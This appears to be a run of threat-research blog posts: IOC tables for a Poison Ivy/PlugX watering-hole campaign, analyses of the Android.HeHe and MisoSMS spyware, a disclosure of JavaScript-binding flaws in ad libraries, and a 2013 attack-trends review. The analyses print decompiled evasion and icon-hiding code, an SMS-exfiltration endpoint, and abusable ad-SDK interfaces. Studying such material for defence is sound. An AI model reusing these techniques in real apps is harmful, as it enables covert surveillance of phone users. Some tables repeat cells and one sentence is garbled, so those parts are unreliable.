
Domain First Seen Last Seen IP Address
adservice.no-ip[.]org adservice.no-ip[.]org 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-18 2014-02-18 192.74.246.219 192.74.246.219
wmi.ns01[.]us wmi.ns01[.]us 2014-02-17 2014-02-17 2014-02-17 2014-02-17 192.74.246.219 192.74.246.219
proxy.ddns[.]info proxy.ddns[.]info 2013-05-02 2013-05-02 2014-02-18 2014-02-18 103.246.246.103 103.246.246.103
updatedns.ns02[.]us updatedns.ns02[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
updatedns.ns01[.]us updatedns.ns01[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
wmi.ns01[.]us wmi.ns01[.]us 2013-07-04 2013-07-04 2013-07-15 2013-07-15 103.246.246.103 103.246.246.103

 

MD5 Family Compile Time Alternate C2s
7995a9a6a889b914e208eb924e459ebc 7995a9a6a889b914e208eb924e459ebc PlugX PlugX 2012-06-09 2012-06-09 fuckchina.govnb[.]com fuckchina.govnb[.]com
bf60b8d26bc0c94dda2e3471de6ec977 bf60b8d26bc0c94dda2e3471de6ec977 PlugX PlugX 2010-03-15 2010-03-15 microsafes.no-ip[.]org microsafes.no-ip[.]org
fd69793bd63c44bbb22f9c4d46873252 fd69793bd63c44bbb22f9c4d46873252 Poison Ivy Poison Ivy 2013-03-07 2013-03-07 N/A N/A
88b375e3b5c50a3e6c881bc96c926928 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A
cd07a9e49b1f909e1bd9e39a7a6e56b4 cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A

The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties:

Domain First Seen Last Seen IP Address
fuckchina.govnb[.]com fuckchina.govnb[.]com 2013-12-11 2013-12-11 2013-12-11 2013-12-11 204.200.222.136 204.200.222.136
microsafes.no-ip[.]org microsafes.no-ip[.]org 2014-02-12 2014-02-12 2014-02-12 2014-02-12 74.126.177.70 74.126.177.70
microsafes.no-ip[.]org microsafes.no-ip[.]org 2013-12-04 2013-12-04 2013-12-04 2013-12-04 74.126.177.241 74.126.177.241

We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org — also an organization involved in defense matters — were redirected to an exploit server at 159.54.62.92.

This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.]us.

Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to 76.73.80.188 in mid-2012.

Domain First Seen Last Seen IP Address
wmi.ns01.us wmi.ns01.us 2012-07-07 2012-07-07 2012-09-19 2012-09-19 76.73.80.188 76.73.80.188
windows.ddns.us windows.ddns.us 2012-05-23 2012-05-23 2012-06-10 2012-06-10 76.73.80.188 76.73.80.188

During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP 194.183.224.75.

Domain First Seen Last Seen IP Address
wmi.ns01[.]us wmi.ns01[.]us 2012-07-03 2012-07-03 2012-07-04 2012-07-04 194.183.224.75 194.183.224.75
ids.ns01[.]us ids.ns01[.]us 2012-04-23 2012-04-23 2012-05-18 2012-05-18 194.183.224.75 194.183.224.75

The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be.

In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013.

greedywonk-campaign-v2

Conclusion

This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.

This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.

Android.HeHe: Malware Now Disconnects Phone Calls

FireEye Labs has recently discovered six variants of a new Android threat that steals text messages and intercepts phone calls. We named this sample set “Android.HeHe” after the name of the activity that is used consistently across all samples.

Here is a list of known bot variants:

MD5 VirusTotal Detection Ratio
1caa31272daabb43180e079bca5e23c1 1caa31272daabb43180e079bca5e23c1 2/48 2/48
8265041aca378d37006799975fa471d9 8265041aca378d37006799975fa471d9 1/47 1/47
2af4de1df7587fa0035dcefededaedae 2af4de1df7587fa0035dcefededaedae 2/45 2/45
2b41fbfb5087f521be193d8c1f5efb4c 2b41fbfb5087f521be193d8c1f5efb4c 2/46 2/46
aa0ed04426562df25916ff70258daf6c aa0ed04426562df25916ff70258daf6c 1/46 1/46
9507f93d9a64d718682c0871bf354e6f 9507f93d9a64d718682c0871bf354e6f 1/47 1/47

Summary

The app disguises itself as “android security” (Figure 1), attempting to provide the users what is advertised as an OS Update. It contacts the command-and-control (CnC) server to register itself then goes on to monitor incoming SMS messages. The CnC is expected to respond with a list of phone numbers that are of interest to the malware author. If one of these numbers sends an SMS or makes a call to an infected device, the malware intercepts the message or call, suppresses device notifications from the device, and removes any trace of the message or call from device logs. Any SMS messages from one of these numbers are logged into an internal database and sent to the CnC server. Any phone calls from these numbers are silenced and rejected.

[caption id="attachment_4369" align="aligncenter" width="302"]App installs itself Figure 1[/caption]

Analysis

This app starts the main HeHe activity at startup. The constructor of the HeHeActivity registers a handler using the android.os.Handle, which acts as a thread waiting for an object of type android.os.Message to perform different actions, which are outlined below.

Because the HeHeActivity implements the standard DailogInterfaceOnClickListener, the start of the app causes the showAlterDailog message to be displayed (Figure 2).

[caption id="attachment_4373" align="aligncenter" width="404"]Fake OS Update in progress Figure 2: The above messages make the user believe that an OS update check is under progress[/caption]

The app then sends an intent to start three services in the background. These services are explained below.

Sandbox-evasion tactic

This app checks for the presence of an emulator by calling the isEmulator function, which does the following:

  1. It checks the value of the MODEL of the device (emulators with the Google ADT bundle have the string “sdk” as a part of the MODEL variable).
  2. It also checks to see if the IMSI code is “null” — emulators do not have an IMSI code associated with them.

Here is the isEmulator code:

String v0 = TelephonyUtils.getImsi(((Context)this));
if(v0 == null) {
return;
}
public static boolean isEmulator() {
boolean v0;
if((Build.MODEL.equalsIgnoreCase("sdk")) || (Build.MODEL.equalsIgnoreCase("google_sdk"))) {
v0 = true;
}
else {
v0 = false;
}
return v0;
}

The code checks whether the the app is being run in the Android QEMU emulator. It also checks whether the value of IMSI is equal to null

RegisterService

This service runs in the background. Once started the app calls the setComponentEnabledSetting method as follows:

this.getPackageManager().setComponentEnabledSetting(new ComponentName(((Context)this), HeheActivity.class), 2, 1);

This removes the app from the main menu of the phone leading the user to believe that the app is no longer installed on the phone. It then goes on to check the network status of the phone as shown below

public void checkNetwork() { 
if(!this.isNetworkAvailable()) {
this.setMobileDataEnabled();
}
}

After the service has been created. The onStart method is called, which checks the message provided as a part of the intent. The message types are START and LOGIN

START

If the message in the intent is START, The app calls the sendReigsterRequest() function. The sendRegisterRequest function first checks for the presence of an emulator as explained in the "Sandbox-evasion tactic" section

It then collects the IMSI IMEI, phone number, SMS address and channel ID. It packs all this information into a JSON object. Once the JSON object is created. It is converted to a string, which is sent to the CnC server. The CnC communication is explained below.

LOGIN

If the message in the intent is LOGIN, the app calls the sendLoginRequest method, which in turn collects the following:

  • Version number of the app (hard-coded as "1.0.0")
  • The model of the phone
  • The version of the operating system
  • The type of network associated with the device (GSM/CDMA)

This information is also packed into a JSON object, converted into a string, and sent to the CnC server.

RegisterBroadcastReceiver service

This service is invoked at the start of the app as the RegisterService. It in turn registers the IncomeCallAndSmsReceiver(), which is set to respond to these three intents:

  • android.provider.Telephony.SMS_RECEIVED, which notifies once a SMS has been received on the device
  • android.intent.action.PHONE_STATE, which notifies once the cellular state of the device has changed. Examples include RINGING and OFF_HOOK.
  • android.intent.action.SCREEN_ON, which notifies once the screen has been turned on or turned off.

Additionally, it also sets observers over Android content URIs as follows:

  • The SmsObserver is set to observe the content://sms, which enables it to access all SMS messages that are present on the device.
  • The CallObserver is set to observe the content://call_log/calls, which allows it to access the call log of all incoming, outgoing and missed calls on the device.

 ConnectionService

The main HeHe activity mentioned at the start issues the ACTION_START intent to the ConnectionService class as follows:

Intent v2 = new Intent(((Context)this), ConnectionService.class);

v2.setAction(ConnectionService.ACTION_START);

v2.setFlags(268435456); this.startService(v2); LogUtils.debug("heheActivity", "start connectionService service"); The app then starts a timer task that is scheduled to be invoked every 5000 seconds. This timed task does the following:
  • Creates an object instance of the android.os.Message class
  • Sets the value of "what" in the Message object to 1
  • The handler of this message that was initiated in the constructor then gets called which, in turn calls the showFinishBar function that displays the message “현재 OS에서 최신 소프트웨어버전을 사용하고있습니다,” which translates to “The current OS you are using the latest version of the software.”

Receivers

IncomeCallAndSmsReceiver

The RegisterBroadcastReceiver registers this receiver once the app gets started. When an SMS is received on the device. The IncomeCallAndSmsReceiver gets the intent. Because this receiver listens for one of three intents, any intents received by this receiver are checked for their type.

If the received intent is of type android.provider.telephony.SMS_RECEIVED, the app extracts the contents of the SMS and the phone number of the sender. If the first three characters of the phone number matches the first three characters from phone numbers in a table named tbl_intercept_info, then the SMS intent is aborted and the SMS is deleted from the devices SMS inbox so that the user never sees it. After the SMS notification is suppressed, the app bundles the SMS as follows:

{
"content":"TESTING", 
"createTime":"2014-01-10 16:21:36",
"id":null,"messageFrom":"1234567890",
"token":null
}

From there, it sends the to the CnC server (http://108.62.240.69:9008/reportMessage)

It also records the SMS in the tbl_message_info table in its internal database.

If the received intent is of type android.intent.action.PHONE_STATE, the app checks the tbl_intercept_info table in the local database. If the number of the caller appears in this table, then the ringer mode of the phone is set to silent to suppress the notification of the incoming call and the phone call is disconnected. Its corresponding entry from the call logs is also removed, removing all traces of the phone call from the device.

No actions have been defined for the android.app.action.SCREEN_ON intent, even though the IncomeCallAndSmsReceiver receiver is the recipient.

CnC

This app uses two hard-coded IP address to locate its CnC servers: 122.10.92.117 and 58.64.183.12. The app performs all communications through HTTP POST requests. The contents of the HTTP POST are encrypted using AES with a 128-bit key that is hardcoded into the app. The app sends its lastVersion value —to 122.10.92.117, to address is where is used to check for , in which the app sends its version of the app. The address 58.64.183.12 is used to report incoming SMS messages

Because the IP address is no longer reachable, responses from the server could not be analyzed. What is clear is that the server sends a JSON object in response, which contains a "token" field.

Although the CnC server is currently unavailable, we can infer how the app works by examining the how it processes the received responses.

The app consists of different data structures that are converted into their equivalent JSON representations when they are sent to the CnC. Also, All JSON object responses are converted into their equivalent internal data structures. We have also observed the mechanism used to populate the internal database which includes tables (tbl_intercept_info) which contain the phone numbers to be blocked.

The app uses hxxp://122.10.92.117:9008 and hxxp://58.64.183.12:9008 to send information to the CnC server.

The mapping of URLs to their internal class data structures is as follows:

GetLastVersionRequest /getLastVersion
RegisterRequest /register
LoginRequest /login
ReportRequest /report
GetTaskRequest /getTask
ReportMessage Request /reportMessage

The meaning and structures of these are explained in the following sections.

GetLastVersionRequest

This request is sent when the app is first installed on the device. The bot sends the version code of the device (currently set to 1.0.0) to the CnC. The CnC response shall contain the URL to an update if available. The availability of an update is signified through an ‘update’ field in the response

[caption id="attachment_4377" align="alignnone" width="816"]Request to CnC to check for version Request to CnC to check for version[/caption]

RegisterRequest

This request is sent when the app sends an intent with a “LOGIN” option to the RegisterService as explained  above. The request contains the IMSI, IMEI, Phone number, SMS address (Phone number), Channel ID, a token and the IP address being used by the app as its CnC. This causes the infected device to be registered with the CnC.

LoginRequest

This request is sent to further authenticate the device to the CnC, It contains the token previously received, the version of the Bot, the model of the phone, the version of the OS, the type of network and the other active network parameters such as signal strength. In response, It only gets a result value.

ReportRequest

The report request sends the information present in tbl_report_info to the CnC. This table contains information about other requests that were sent but failed.

GetTaskRequest

This requests asks for tasks from the CnC server. The response contains a retry interval and a sendSmsActionNotify value. It is sent when the response to the LoginRequest is 401 instead of 200.

ReportMessageRequest

This request to the CnC sends the contents of the SMS messages that are received on the device. It consists of the contents of the SMS message, the time of the message and the sender of the SMS. This has been observed in the logcat output as follows:

logging-mini

Conclusion

Android malware variants are mushrooming. Threats such as Android.HeHe and Android.MisoSMS reveal attackers' growing interest in monitoring SMS messages and phone call logs. They also serve as a stark reminder of just how dangerous apps from non-trusted marketplaces can be.

JS-Binding-Over-HTTP Vulnerability and JavaScript Sidedoor: Security Risks Affecting Billions of Android App Downloads

Third-party libraries, especially ad libraries, are widely used in Android apps. Unfortunately, many of them have security and privacy issues. In this blog, we summarize our findings related to the insecure usage of JavaScript binding in ad libraries.

First, we describe a widespread security issue with using JavaScript binding (addJavascriptInterface) and loading WebView content over HTTP, which allows a network attacker to take control of the application by hijacking the HTTP traffic. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. Our analysis shows that, currently, at least 47 percent of the top 40 ad libraries have this vulnerability in at least one of their versions that are in active use by popular apps on Google Play.

Second, we describe a new security issue with the JavaScript binding annotation, which we call JavaScript Sidedoor. Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public methods in Java objects are accessible from JavaScript. If an ad library uses @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then an attacker over the network could inject malicious content into the WebView to misuse the exposed interfaces through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

Our analysis shows that these security issues are widespread, have affected popular apps on Google Play accounting for literally billions of app downloads. The parties we notified about these issues have been actively addressing them.

Security Issues with JavaScript Binding over HTTP

Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the app’s Java methods. However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android 4.1 or below. As noted by Google: “Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.” [1]

In particular, if an app running on Android 4.1 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, then an attacker over the network could hijack the HTTP traffic, e.g., through WiFi or DNS hijacking, to inject malicious content into the WebView – and thus take control over the host application. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. If an app containing such vulnerability has sensitive Android permissions such as access to the camera, then a remote attacker could exploit this vulnerability to perform sensitive tasks such as taking photos or record video in this case, over the Internet, without a user’s consent.

We have analyzed the top 40 third-party ad libraries (not including Google Ads) used by Android apps. Among the apps with over 100,000 downloads each on Google Play, over 42 percent of the free apps currently contain at least one of these top ad libraries. The total download count of such apps now exceeds 12.4 billion. From our analysis, at least 47 percent of these top 40 ad libraries have at least one version of their code in active use by popular apps on Google Play, and contain the JS-Binding-Over-HTTP vulnerability. As an example, InMobi versions 2.5.0 and above use the JavaScript binding method addJavascriptInterface and load content in the WebView using HTTP.

Security Issues with JavaScript Binding Annotation

Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public Java methods in the app are accessible from JavaScript running inside a WebView. However, note that the @JavascriptInterface annotation does not provide any protection for devices using Android 4.1 or below, which is still running on more than 80 percent of Android devices worldwide.

We discovered a new class of security issues, which we call JavaScript Sidedoor (JS sidedoor), in ad libraries. If an ad library uses the @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then it is vulnerable to attacks where an attacker over the network (e.g., via WIFI or DNS hijacking) could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

For example, starting with version 3.6.2, InMobi added the @JavascriptInterface JS binding annotation. The list of exposed methods through the JS binding annotation in InMobi includes:

  • createCalendarEvent (version 3.7.0 and above)
  • makeCall (version 3.6.2 and above)
  • postToSocial (version 3.7.0 and above)
  • sendMail (version 3.6.2 and above)
  • sendSMS (version 3.6.2 and above)
  • takeCameraPicture (version 3.7.0 and above)
  • getGalleryImage (version 3.7.0 and above)
  • registerMicListener (version 3.7.0 and above)

InMobi also provides JavaScript wrappers to these methods in the JavaScript code served from their ad servers, as shown in Appendix A.

InMobi also loads content in the WebView using HTTP. If an app has the Android permission CALL_PHONE, and is using InMobi versions 3.6.2 to 4.0.2, an attacker over the network (for example, using Wi-Fi or DNS hijacking) could abuse the makeCall annotation in the app to make phone calls on the device without a user’s consent – including to premium numbers.

In addition, without requiring special Android permissions in the host app, attackers over the network, via HTTP or DNS hijacking, could also misuse the aforementioned exposed methods to misguide the user to post to the user’s social network from the device (postToSocial in version 3.7.0 and above), send email to any designated recipient with a pre-crafted title and email body (sendMail in version 3.6.2 and above), send SMS to premium numbers (sendSMS in version 3.6.2 and above), create calendar events on the device (createCalendarEvent in version 3.7.0 and above), and to take pictures and access the photo gallery on the device (takeCameraPicture and getGalleryImage in version 3.7.0 and above). To complete these actions, the user would need to click on certain consent buttons. However, as generally known, users are quite vulnerable to social engineering attacks through which attackers could trick users to give consent.

We have identified more than 3,000 apps on Google Play that contain versions 2.5.0 to 4.0.2 of InMobi – and which have over 100,000 downloads each as of December, 2013. Currently, the total download count for these affected apps is greater than 3.7 billion.

We have informed both Google and InMobi of our findings, and they have been actively working to address them.

New InMobi Update after FireEye Notification

After we notified the InMobi vendor about these security issues, they promptly released new SDK versions 4.0.3 and 4.0.4. The 4.0.3 SDK, marked as “Internal release”, was superseded by 4.0.4 after one day. The 4.0.4 SDK made the following changes:

  1. Changed its method exposed through annotation for making phone calls (makeCall) to require user’s consent.
  2. Added a new storePicture interface to download and save specified files from the Internet to the user’s Downloads folder. Despite the name, it can be used for any file, not just images.
  3. Compared with InMobi’s earlier versions, we consider change No. 1 as an improvement that addresses the aforementioned issue of an attacker making phone calls without a user’s consent. We are glad to see that InMobi made this change after our notification.

    InMobi recently released a new SDK version 4.1.0. Compared with SDK version 4.0.4, we haven't seen any changes to JS Binding usage from a security perspective in this new SDK version 4.1.0.

    Moving Forward: Improving Security for JS Binding in Third-party Libraries

    In summary, the insecure usage of JS Binding and JS Binding annotations in third-party libraries exposes many apps that contain these libraries to security risks.

    App developers and third-party library vendors often focus on new features and rich functionalities. However, this needs to be balanced with a consideration for security and privacy risks. We propose the following to the mobile application development and library vendor community:

    1. Third-party library vendors need to explicitly disclose security-sensitive features in their privacy policies and/or their app developer SDK guides.
    2. Third-party library vendors need to educate the app developers with information, knowledge, and best practices regarding security and privacy when leveraging their SDK.
    3. App developers need to use caution when leveraging third-party libraries, apply best practices on security and privacy, and in particular, avoid misusing vulnerable APIs or packages.
    4. When third-party libraries use JS Binding, we recommend using HTTPS for loading content.
    5. Since customers may have different requirements regarding security and privacy, apps with JS-Binding-Over-HTTP vulnerabilities and JS sidedoors can introduce risks to security-sensitive environments such as enterprise networks. FireEye Mobile Threat Prevention provides protection to our customers from these kinds of security threats.

      Acknowledgement

      We thank our team members Adrian Mettler and Zheng Bu for their help in writing this blog.

      Appendix A: JavaScript Code Snippets Served from InMobi Ad Servers

      a.takeCameraPicture = function () {

      utilityController.takeCameraPicture()

      };

      a.getGalleryImage = function () {

      utilityController.getGalleryImage()

      };

      a.makeCall = function (f) {

      try {

      utilityController.makeCall(f)

      } catch (d) {

      a.showAlert("makeCall: " + d)

      }

      };

      a.sendMail = function (f, d, b) {

      try {

      utilityController.sendMail(f, d, b)

      } catch (c) {

      a.showAlert("sendMail: " + c)

      }

      };

      a.sendSMS = function (f, d) {

      try {

      utilityController.sendSMS(f, d)

      } catch (b) {

      a.showAlert("sendSMS: " + b)

      }

      };

      a.postToSocial = function (a, c, b, e) {

      a = parseInt(a);

      isNaN(a) && window.mraid.broadcastEvent("error", "socialType must be an integer", "postToSocial");

      "string" != typeof c && (c = "");

      "string" != typeof b && (b = "");

      "string" != typeof e && (e = "");

      utilityController.postToSocial(a, c, b, e)

      };

      a.createCalendarEvent = function (a) {

      "object" != typeof a && window.mraid.broadcastEvent("error",

      "createCalendarEvent method expects parameter", "createCalendarEvent");

      "string" != typeof a.start || "string" != typeof a.end ?

      window.mraid.broadcastEvent("error",

      "createCalendarEvent method expects string parameters for start and end dates",

      "createCalendarEvent") :

      ("string" != typeof a.location && (a.location = ""),

      "string" != typeof a.description && (a.description = ""),

      utilityController.createCalendarEvent(a.start, a.end, a.location, a.description))

      };

      a.registerMicListener=function() {

      utilityController.registerMicListener()

      };

      Trends in Targeted Attacks: 2013

      FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

      Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

      In this post, I would like to highlight some of the outstanding research from 2013.

      Trends in Targeting

      Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.

      Conflict

      Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

      • Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
      • India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
      • Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
      • China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.

      Diplomacy

      Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

      • The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
      • In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
      • The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
      • FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
      • Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

      Technical Trends

      Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.

      Exploits

      Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:

      Evasion

      The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Terminator (aka FakeM), and Sykipot were modified.

      Threat Actors

      Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

      • Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.
      • Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

      My colleagues at FireEye have put forward some interesting stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

      MisoSMS: New Android Malware Disguises Itself as a Settings App, Steals SMS Messages

      FireEye has uncovered and helped weaken one of the largest advanced mobile botnets to date. The botnet, which we are dubbing “MisoSMS,” has been used in at least 64 spyware campaigns, stealing text messages and emailing them to cybercriminals in China.

      MisoSMS infects Android systems by deploying a class of malicious Android apps. The mobile malware masquerades as an Android settings app used for administrative tasks. When executed, it secretly steals the user’s personal SMS messages and emails them to a command-and-control (CnC) infrastructure hosted in China. FireEye Mobile Threat Prevention platform detects this class of malware as “Android.Spyware.MisoSMS.”

      Here are some highlights of MisoSMS:

      • We discovered 64 mobile botnet campaigns that belong to the MisoSMS malware family.
      • Each of the campaigns leverage Web mail as its (CnC) infrastructure.
      • The CnC infrastructure comprises more than 450 unique malicious email accounts.
      • FireEye has been working with the community to take down the CnC infrastructure.
      • The majority of the devices infected are in Korea, which leads us to believe that this threat is active and prevalent in that region.
      • The attackers logged in from Korea and mainland China, among other locations, to periodically read the stolen SMS messages.

      MisoSMS is active and widespread in Korea, and we are working with Korean law enforcement and the Chinese Web mail vendor to mitigate this threat. This threat highlights the need for greater cross-country and cross-organizational efforts to take down large malicious campaigns.

      At the time of of this blog post, all of the reported malicious email accounts have been deactivated and we have not noticed any new email addresses getting registered by the attacker. FireEye Labs will closely monitor this threat and continue working with relevant authorities to mitigate it.

      Technical Analysis

      Once the app is installed, it presents itself as “Google Vx.” It asks for administrative permissions on the device, which enables the malware to hide itself from the user, as shown in Figure 2.

      miso1

      The message in Figure 3 translates to the following:

      “This service is vaccine killer \nCopyright (c) 2013 google.org”

      miso2

      Once the user grants administrator privileges to the app, the app shows the message in Figure 3, which translates to “The file is damaged and can’t use. Please check it on the website”” and an OK button. Then is asks the user to confirm deletion, ostensibly offering the option to Confirm or Cancel. If the user taps Confirm, the app sleeps for 800 milliseconds then displays a message that says “Remove Complete.” If the users taps Cancel, the app still displays the “Remove Complete” message.

      In either case, the following API call is made to hide the app from the user.

      MainActivity.this.getPackageManager().setComponentEnabledSetting

       

      MainActivity.this.getComponentName(), 2, 1);

      This application exfiltrates the SMS messages in a unique way. Some SMS-stealing malware sends the contents of users SMS messages by forwarding the messages over SMS to phone numbers under the attacker’s control. Others send the stolen SMS messages to a CnC server over TCP connections. This malicious app, by contrast, sends the stolen SMS messages to the attacker's email address over an SMTP connection. Most of the MisoSMS-based apps we discovered had no or very few vendor detections on VirusTotal.

      The app initially sends an email with the phone number of the target’s device in the message body. This is shown in the screenshot capture below.